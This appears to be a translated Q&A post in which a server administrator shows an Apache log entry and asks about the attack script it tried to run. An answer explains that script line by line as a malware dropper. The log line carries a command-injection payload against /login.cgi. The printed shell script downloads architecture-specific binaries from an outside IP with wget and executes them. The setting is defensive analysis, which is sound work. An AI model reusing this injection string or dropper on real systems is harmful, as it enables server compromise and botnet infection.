Eu tenho notado em meus servidores logs do Apache, as seguintes linhas estranhas ultimamente:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Então eu criei um filtro Fail2Ban personalizado e comecei a proibir os IPs solicitando esses URLs /login.cgi.
Mas eu estava curioso para saber o que eles estavam tentando fazer, então eu puxei o script que eles estão tentando executar e não consigo descobrir o que exatamente isso faz. Algo sobre como remover pastas do Arch em/var e/tmp?
De qualquer forma, aqui está:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $Shell $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
Linha por linha:
#!/bin/sh
Estabelece o sh
Shell, o que quer que seja, como a linha Shebang. sh%20/tmp/ks
na solicitação sobrescreve isso, portanto, essa linha é tratada como um comentário normal e ignorada.
u="asgknskjdgn"
Declara um nome arbitrário, presumivelmente para evitar colidir com outros nomes de arquivos. Não sei por que eles não usam apenas mktemp
, mas talvez isso não esteja disponível em todas as plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera várias arquiteturas de CPU comuns.
http_server="80.211.173.159"
http_port=80
O servidor que possui o exploit.
cd /tmp/||cd /var/
Tenta mudar o diretório para algum lugar em que seu servidor da Web possa criar arquivos. Acredito que o SELinux ajudará com isso, impondo regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos faz sozinho.
for name in $bin_names
do
Para cada arquitetura de CPU ...
rm -rf $u
Remove programas de exploração previamente experimentados. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.
cp $Shell $u
Copia o executável atual do Shell (/bin/sh
). Pode ser ignorado por causa da linha após o próximo.
chmod 777 $u
Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o comando wget
, que é um sinal de um novato de script da Shell ou de uma técnica de direcionamento incorreto.
>$u
Esvazia o arquivo. Inútil por causa da próxima linha.
wget http://$http_server:$http_port/$name -O -> $u
Sobrescreve o arquivo com o script de exploração para esta arquitetura. -O -> $u
poderia ter sido escrito -O - > $u
(o hífen indica que o download deve ser gravado na saída padrão), o que equivale a -O $u
.
./$u $name
Executa o script de exploração com a arquitetura como o primeiro argumento.
done
Termina o loop.
Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas contra várias plataformas de CPU. Eu não sei porque substitui $u
três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, essa versão anterior tinha as explorações codificadas em vez de serem servidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz com o tempo, à medida que os bugs são corrigidos.
O wget
é a chave da linha perigosa.
O for name in $bin_names
está trabalhando na lista de plataformas e, para cada plataforma, está limpando um diretório temporário, copiando um Shell e tornando-o acessível para todos.
Em seguida, ele faz o download de um arquivo usando wget
e, em seguida, o executa usando o programa Shell que acabou de ser copiado.
O script está basicamente tentando baixar uma série de executáveis ou scripts para cada plataforma possível e esfregando-os contra o sistema, na esperança de que isso possa comprometer ainda mais o seu sistema.